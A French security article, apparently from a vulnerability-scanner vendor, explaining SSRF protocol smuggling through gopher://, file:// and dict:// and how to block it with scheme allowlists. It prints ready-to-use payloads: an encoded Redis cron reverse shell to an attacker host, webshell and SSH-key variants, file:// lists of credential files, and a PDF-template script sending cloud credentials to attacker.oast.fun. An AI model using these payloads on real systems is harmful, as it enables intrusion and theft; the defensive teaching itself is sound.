Utilise des protocoles non-HTTP (gopher://, dict://, file://) pour interagir avec des services internes au-delà des simples fetches HTTP.
TL;DR
gopher:// envoie du TCP brut, permettant les attaques Redis/FastCGI/MySQL via SSRFgopher:// → RCE Redis : injecter une tâche cron ou une clé SSH via la chaîne FLUSHALL + CONFIG SETfile:///etc/passwd : lit les fichiers locaux avec les permissions du processus applicatif<iframe src="file:///etc/passwd"> dans les templates PDFhttps:// uniquement) — une seule vérification bloque tous les protocoles alternatifsLe smuggling de protocoles SSRF exploite un serveur côté serveur URL fetcher qui supporte des schémas au-delà de http:// et https://. Quand l'application utilise Python urllib, PHP curl, Java java.net.URL, ou des bibliothèques multi-protocoles similaires pour effectuer la requête sortante, un attaquant qui contrôle l'URL peut injecter des schémas URI alternatifs qui communiquent avec des services non-HTTP.
L'impact s'escalade de la divulgation d'informations à l'exécution de code à distance : gopher:// envoie des octets TCP bruts à n'importe quel port, permettant l'injection de commandes Redis, de messages du protocole FastCGI, ou de requêtes MySQL. file:// lit le système de fichiers local avec les permissions de processus de l'application. dict:// envoie du texte brut à des services comme Memcached. Ces attaques ne reposent pas sur la sémantique HTTP — la bibliothèque URL du serveur émet le protocole brut directement vers le service cible.
Le smuggling de protocoles est classifié sous CWE-918 (SSRF) car la faille fondamentale est la même — un serveur effectuant des requêtes sortantes vers des destinations contrôlées par l'attaquant — mais la classe d'impact atteint une RCE complète plutôt que simplement l'exfiltration de données.
Le pattern de code vulnérable : une bibliothèque de fetching d'URL qui n'applique pas de restrictions de schéma.
// VULNÉRABLE — Java HttpURLConnection accepte tous les schémas
URL url = new URL(userInput); // permet file://, gopher://, dict://
URLConnection con = url.openConnection();
InputStream is = con.getInputStream(); // lit /etc/passwd ou la réponse Redis# VULNÉRABLE — urllib accepte le schéma file://
import urllib.request
response = urllib.request.urlopen(user_supplied_url)
content = response.read() # peut lire file:///etc/passwd, file:///proc/self/environSchémas supportés par bibliothèque :
| Bibliothèque | file:// | gopher:// | dict:// | ftp:// |
|---|---|---|---|---|
| Python urllib | Oui | Non (supprimé 3.x) | Non | Oui |
| PHP curl | Oui | Oui | Oui | Oui |
| Java URL | Oui | Dépend de la JVM | Non | Oui |
| Ruby Net::HTTP | Non | Non | Non | Non |
| Go net/http | Non | Non | Non | Non |
| node-libcurl | Oui | Oui | Oui | Oui |
gopher:// établit une connexion TCP brute et envoie les octets du chemin URL comme payload initial. Redis utilise un protocole RESP orienté lignes — gopher:// peut injecter des commandes Redis valides en les encodant comme octets de chemin URL avec %0D%0A comme séparateur CRLF.
# Générer le payload SSRF Redis avec Gopherus
python2 gopherus.py --exploit redis
# Sélectionner : Cron Job
# IP attaquant : 10.10.10.10, Port : 4444
# Sortie : gopher://127.0.0.1:6379/_<commandes Redis encodées en URL>
# Le payload généré exécute ces commandes Redis :
# FLUSHALL
# SET 1 "\n\n* * * * * bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\n\n"
# CONFIG SET dir /var/spool/cron/crontabs
# CONFIG SET dbfilename root
# SAVEL'URL complète du payload gopher :
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%2A%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER%2F4444%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2427%0D%0A%2Fvar%2Fspool%2Fcron%2Fcrontabs%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0ASAVE%0D%0APayloads Redis alternatifs :
CONFIG SET dir /var/www/html + CONFIG SET dbfilename shell.php + SET 1 '<?php system($_GET["cmd"]); ?>'CONFIG SET dir /root/.ssh + CONFIG SET dbfilename authorized_keys + SET 1 "ssh-rsa CLE_ATTAQUANT"Prérequis : Redis s'exécutant sans authentification (pas de requirepass), permission d'écriture vers le répertoire cible.
PHP-FPM écoute sur le port 9000 (ou un socket Unix) en utilisant le protocole binaire FastCGI. Gopherus encode une requête FastCGI valide dans le format gopher://, remplaçant PHP_VALUE pour définir auto_prepend_file vers un chemin contrôlé par l'attaquant — tout fichier PHP sur le serveur est alors chargé et exécuté.
python2 gopherus.py --exploit fastcgi
# Entrée : /var/www/html/index.php (tout fichier PHP existant sur la cible)
# Sortie : gopher://127.0.0.1:9000/_<payload encodé FastCGI>
# Le payload définit :
# PHP_VALUE: auto_prepend_file=/proc/self/fd/...
# Exécute du code PHP arbitraire en tant que www-dataPrérequis : PHP-FPM écoutant sur le port TCP 9000 (configuration Docker par défaut). Le socket Unix PHP-FPM nécessite un accès en écriture vers le chemin du socket.
file:// lit n'importe quel fichier accessible au processus de l'application. Cibles à haute valeur :
# Fichiers utilisateurs et credentials
file:///etc/passwd # énumération des utilisateurs
file:///etc/shadow # hachages de mots de passe (nécessite root)
file:///home/user/.ssh/id_rsa # clé SSH privée
# Secrets d'application
file:///var/www/html/.env # Laravel, Node.js dotenv
file:///var/www/html/config.php # credentials base de données PHP
file:///app/config/database.yml # config base de données Rails
# Chaîne de credentials cloud (Lambda/ECS)
file:///proc/self/environ # vars d'env : AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
file:///proc/1/environ # environnement init conteneur (souvent env complet)
# État système
file:///proc/self/fd/3 # descripteur de fichier ouvert (données socket base de données)
file:///proc/net/tcp # connexions réseau interneswkhtmltopdf — CVE-2022-35583 (CVSS 9.8) : l'injection HTML dans un template PDF traité par wkhtmltopdf lit des fichiers locaux via file:// :
<!-- Injecté dans le template PDF — lit /etc/passwd -->
<iframe src="file:///etc/passwd" height="500" width="500"></iframe>
<!-- Credentials cloud via environnement du processus -->
<iframe src="file:///proc/self/environ" height="500" width="500"></iframe>
<!-- Exfiltration de métadonnées basée sur JavaScript -->
<script>
var x = new XMLHttpRequest();
x.open('GET', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/', false);
x.send();
document.write('<img src="https://attacker.oast.fun/' + btoa(x.responseText) + '">');
</script>wkhtmltopdf a été archivé et n'est plus maintenu depuis janvier 2023, mais les bibliothèques wrapper (pdfkit, wicked_pdf, KnpSnappy, DinkToPdf) continuent de l'intégrer dans les applications de production.
# dict:// — requêtes protocole DICT à Memcached ou d'autres services compatibles dict
dict://127.0.0.1:11211/stat # statistiques Memcached (version, items, mémoire)
dict://127.0.0.1:6379/INFO # INFO Redis via DICT (plus simple que gopher)
# ftp:// — interaction avec serveur FTP
ftp://127.0.0.1:21/etc/passwd # récupération de fichier FTP (si anonyme autorisé)
# ldap:// — requêtes annuaire LDAP
ldap://127.0.0.1:389/ # liaison anonyme LDAP (énumération d'annuaire)
# tftp:// — récupération de fichier TFTP (basé UDP)
tftp://127.0.0.1/etc/passwd # lecture TFTP (si service actif)Le smuggling de protocoles est le plus impactant quand il est combiné avec la connaissance des ports de services internes courants. Services susceptibles d'être accessibles depuis un serveur applicatif :
| Service | Port | Protocole | Impact |
|---|---|---|---|
| Redis | 6379 | gopher:// | RCE via cron/webshell/SSH |
| PHP-FPM | 9000 | gopher:// (FastCGI) | RCE via auto_prepend_file |
| MySQL | 3306 | gopher:// | Lecture/écriture de fichiers (LOAD DATA / INTO OUTFILE) |
| Memcached | 11211 | dict:// | Lecture/écriture de cache |
| Docker API | 2375 | HTTP | Évasion de conteneur (CVE-2025-9074) |
| etcd | 2379 | HTTP | Dump secrets Kubernetes (CVE-2025-33901) |
| SMTP | 25 | gopher:// | Relais email interne (pivot phishing) |
| Elasticsearch | 9200 | HTTP | Exfiltration de données complète |
CVE-2022-35583 — wkhtmltopdf (CVSS 9.8) — Archivé en janvier 2023 avec un SSRF critique non corrigé. <iframe src="file:///etc/passwd"> lit des fichiers locaux ; <script> avec XMLHttpRequest atteint http://169.254.169.254/. Toujours intégré dans les applications de production via pdfkit (Python), wicked_pdf (Ruby), KnpSnappy (PHP), DinkToPdf (.NET). Toute application qui accepte des entrées HTML et génère des PDFs en utilisant cette bibliothèque est vulnérable.
CVE-2025-68437 — Craft CMS GraphQL — La mutation saveAssets récupérait des URLs arbitraires via PHP curl (qui supporte gopher://). Dans les configurations où Redis s'exécutait sur le même hôte que le CMS, un attaquant disposant des permissions GraphQL pouvait fournir un payload gopher://127.0.0.1:6379/... généré par Gopherus, obtenant l'injection de commandes Redis via la fonctionnalité d'import d'assets légitime du CMS.
CVE-2018-1000600 — Plugin Jenkins GitHub (CVSS 8.8) — La fonctionnalité "Test Connection" dans le plugin GitHub effectuait des requêtes côté serveur vers des URLs d'API GitHub fournies par l'attaquant. Quand le serveur Jenkins exécutait des scripts Bash CGI (courants dans les environnements CI), la chaîne SSRF → Shellshock (User-Agent: () { :; }; /bin/bash -c "...") obtenait une RCE complète. La combinaison du SSRF de paramètre et de la connaissance du protocole démontre pourquoi ces surfaces d'attaque doivent être traitées comme des findings de classe RCE.
Pattern Bug Bounty Chaîne Redis Gopherus — Les rapports de bug bounty internes (non publics) citent régulièrement le pattern gopher:// → Redis → cron comme la chaîne SSRF à la sévérité la plus élevée. Un finding SSRF confirmé sur un paramètre, combiné à la connaissance que Redis tourne sur le port 6379 (sans --requirepass) sur le même sous-réseau interne, produit une RCE critique avec une seule URL gopher. Ce pattern explique pourquoi Redis doit nécessiter une authentification même sur les réseaux internes.
file:///etc/passwd comme valeur de paramètre URL — si la réponse contient root:x:0:0: ou similaire, le protocole file:// est supporté.dict://127.0.0.1:11211/stat — une réponse contenant STAT pid confirme que Memcached est accessible et que dict:// est supporté.gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0AINFO%0D%0A — une réponse 500/502 contenant "gopher" dans le corps ou une erreur référençant la commande Redis INFO suggère que gopher:// est supporté.file:///proc/self/environ — si la réponse contient PATH= ou HOME=, la lecture de fichiers locaux est confirmée et des credentials AWS/Lambda peuvent être présents.# Signaux de détection de protocole BreachVex :
# file:// confirmé : statut 200 avec "root:", "daemon:", ou "[fonts]" dans le corps
# gopher://, dict://, ftp:// détectés : statut 500/502/503 avec
# "gopher", "dict", "ftp", "connection refused", ou "protocol" dans le corpsLa détection de smuggling de protocoles de BreachVex teste gopher://, dict://, file:// et ftp:// sur tous les paramètres SSRF confirmés. La détection est basée sur des marqueurs — les noms de protocoles dans les réponses d'erreur confirment le support même quand le service cible n'est pas accessible. Pour file://, des patterns de contenu spécifiques confirment l'accès en lecture sans se fier aux messages d'erreur.
import urllib.parse
ALLOWED_SCHEMES = frozenset({"https"}) # http uniquement si trafic interne exclusivement
def validate_scheme(url: str) -> bool:
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ALLOWED_SCHEMES:
raise ValueError(f"Schéma non autorisé : {parsed.scheme}")
return True
# Cette unique vérification bloque :
# gopher://, file://, dict://, ftp://, ldap://, tftp://
# data:, javascript:, vbscript:, blob:
# Tout futur schéma novel// SÛR — Java : validation stricte du schéma
import java.net.URI;
public static void validateScheme(String rawUrl) throws SecurityException {
try {
URI uri = new URI(rawUrl);
String scheme = uri.getScheme();
if (scheme == null || !scheme.equals("https")) {
throw new SecurityException("Seul le schéma https:// est autorisé : " + scheme);
}
} catch (java.net.URISyntaxException e) {
throw new SecurityException("URL invalide : " + rawUrl);
}
}Pour les bibliothèques qui supportent file:// par défaut, le désactiver explicitement :
# Python requests — ne supporte pas file:// par défaut (utilise urllib3)
# Mais urllib.request le supporte — utiliser requests à la place
# Si urllib est utilisé directement, appliquer la vérification de schéma avant d'appeler :
import urllib.parse
def safe_open(url: str):
parsed = urllib.parse.urlparse(url)
if parsed.scheme == "file":
raise ValueError("Le schéma file:// n'est pas autorisé")
return urllib.request.urlopen(url)// PHP — curl : désactiver les protocoles dangereux
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
// Cela bloque : gopher, file, ftp, dict, ldap, tftp, smb, telnet, ...
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // désactiver le suivi des redirectionsLe smuggling de protocoles SSRF est régulièrement le chemin d'escalade de « SSRF aveugle (medium) » à « RCE (critique) ». Si vous confirmez un SSRF sur un paramètre, tester immédiatement gopher:// et file:// pour déterminer si le fetcher supporte des schémas alternatifs. Une seule chaîne gopher:// → Redis confirmée fait passer le CVSS de 7.5 à 9.0+.
Le smuggling de protocoles SSRF exploite des schémas d'URL autres que http:// et https:// quand le serveur côté serveur URL fetcher les supporte. gopher:// envoie des octets TCP bruts à des ports arbitraires, permettant l'injection de commandes Redis. file:// lit les fichiers locaux. dict:// interroge Memcached. Ces schémas permettent d'interagir avec des services non-HTTP depuis la position réseau interne du serveur.
gopher:// établit une connexion TCP brute vers n'importe quel hôte:port et envoie les octets du chemin URL comme données initiales. Redis utilise un protocole texte orienté lignes — gopher:// peut injecter FLUSHALL, SET, CONFIG SET dir, CONFIG SET dbfilename, SAVE dans le format RESP correct. Cela écrit une tâche cron ou un webshell sur le système de fichiers, obtenant une RCE. L'outil Gopherus automatise la génération de payload.
Gopherus (github.com/tarunkant/Gopherus) est un outil open-source qui génère des payloads gopher:// pour Redis, MySQL, FastCGI/PHP-FPM, Memcached, SMTP et Zabbix. Il produit une URL gopher:// encodée en URL prête à l'emploi ciblant le service spécifié et le type d'attaque (tâche cron, clé SSH, webshell, requête SQL).
Le SSRF file:// lit n'importe quel fichier accessible au processus de l'application : /etc/passwd (énumération des utilisateurs), /etc/shadow (hachages de mots de passe), /proc/self/environ (variables d'environnement incluant les credentials AWS pour Lambda), /proc/self/fd/ (descripteurs de fichiers ouverts), /var/www/html/config.php (secrets d'application), /root/.ssh/id_rsa (clés privées).
CVE-2022-35583 (CVSS 9.8) est un SSRF critique dans wkhtmltopdf 0.12.6 via l'injection d'iframe. wkhtmltopdf a été archivé (non maintenu) en janvier 2023 mais reste intégré en production via des bibliothèques wrapper : pdfkit (Python), wicked_pdf (Ruby), KnpSnappy (PHP), DinkToPdf (.NET). L'injection de <iframe src="file:///etc/passwd"> dans le template PDF lit des fichiers locaux arbitraires.
Python urllib et urllib2 supportent file:// nativement. Java java.net.URL supporte file:// et gopher:// sur certaines JVMs. PHP curl supporte 30+ schémas incluant gopher://, ftp://, dict://. Go net/http ne supporte pas gopher:// par défaut. Ruby Net::HTTP ne supporte pas gopher://. La surface d'attaque dépend de la bibliothèque utilisée par l'application pour le fetching d'URL.
PHP-FPM écoute sur le port 9000 en utilisant le protocole binaire FastCGI. gopher:// peut injecter des octets FastCGI formatés qui remplacent PHP_VALUE via auto_prepend_file, chargeant un fichier PHP contrôlé par l'attaquant et obtenant une RCE. Gopherus génère le payload en encodant le protocole binaire FastCGI dans le format URL gopher. Toute application PHP web où FPM tourne sur un port accessible est vulnérable.
Appliquer une liste d'autorisation de schémas stricte : accepter uniquement https:// (ou http:// pour le trafic interne uniquement). Cette unique vérification bloque gopher://, file://, dict://, ftp://, ldap://, tftp://, et tous les autres schémas alternatifs. Valider également le port contre une liste d'autorisation (443, 8443 uniquement pour l'externe) et s'assurer que la vérification IP post-résolution DNS est en place.